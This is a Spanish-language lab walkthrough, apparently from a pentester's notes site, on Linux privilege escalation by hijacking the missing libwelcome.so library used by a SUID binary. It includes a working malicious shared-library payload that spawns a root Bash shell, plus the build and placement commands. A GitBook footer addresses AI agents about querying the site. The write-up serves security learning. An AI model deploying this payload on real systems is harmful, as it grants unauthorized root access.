> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md).

# Secuestro de biblioteca compartida libwelcome.so - Escalada de privilegios en Linux

## Qué es

El secuestro de bibliotecas compartidas abusa del cargador dinámico cuando un binario privilegiado carga un objeto compartido faltante, escribible o controlado por el atacante. Un malicioso `.so` puede ejecutar código con los privilegios del proceso que lo carga. Esta página específica se centra en **Secuestro de biblioteca compartida (libwelcome.so)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## Ejemplos

<details>

<summary>Sitio web de la máquina vulnerable <a href="https://attackdefense.com/challengedetails?cid=90"><strong>attackdefense</strong></a><strong>:</strong></summary>

</details>

Buscar archivos con [SUID](/es/privesc/suid.md) los permisos:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/e87e2279d72233a4d2ad0d8e8830d769313aa03d" alt=""><figcaption></figcaption></figure>

Si la ruta de búsqueda de bibliotecas fuera escribible, podríamos colocar `libwelcome.so` directamente en el directorio cargado por el binario.

<figure><img src="/files/a84abc097ddbabaf41c4ef7e8e201102773188e0" alt=""><figcaption></figcaption></figure>

Al examinar los archivos de configuración, podemos ver que la ruta de la biblioteca apunta a un directorio que no existe: `/home/student/lib`.

<figure><img src="/files/a1989a3e8d9d4b7c95ec6d9313628eec2d1b6dd8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eb3544a744fb7996f8662f04bbbbba1e8f19ff19" alt=""><figcaption></figcaption></figure>

Crea el faltante `lib` directorio y coloca una `test.c` carga útil allí:

<figure><img src="/files/368b6b3b99bf9f4bda46e21654c8c5c8c7cdcbf9" alt=""><figcaption></figcaption></figure>

Esta `test.c` la carga útil abre una shell de Bash como root cuando el binario privilegiado la carga:

```c
#include <stdio.h>
#include <unistd.h>

int welcome(){
        setuid(0);
        setgid(0);
        system("bash -p");
        return 0;
}
```

Compila la carga útil como el esperado `libwelcome.so` objeto compartido:

```bash
gcc -fPIC -shared test.c -o libwelcome.so
```

<figure><img src="/files/a5b8c42ea07911f02357b89354f9508b0475183c" alt=""><figcaption></figcaption></figure>

Mueve el objeto compartido compilado al faltante `lib` directorio y confirma que el binario lo resuelve:

```bash
ldd /usr/bin/welcome
mv libwelcome.so lib
```

<figure><img src="/files/dee4a7b1ba29fea5e24cd98ddee847293bd48b9a" alt=""><figcaption></figcaption></figure>

Ejecuta `/usr/bin/welcome` de nuevo. El binario carga la biblioteca maliciosa y devuelve una shell de Bash como root:

<figure><img src="/files/7b09ddec4d74c19080321929d52a580c185a3c25" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
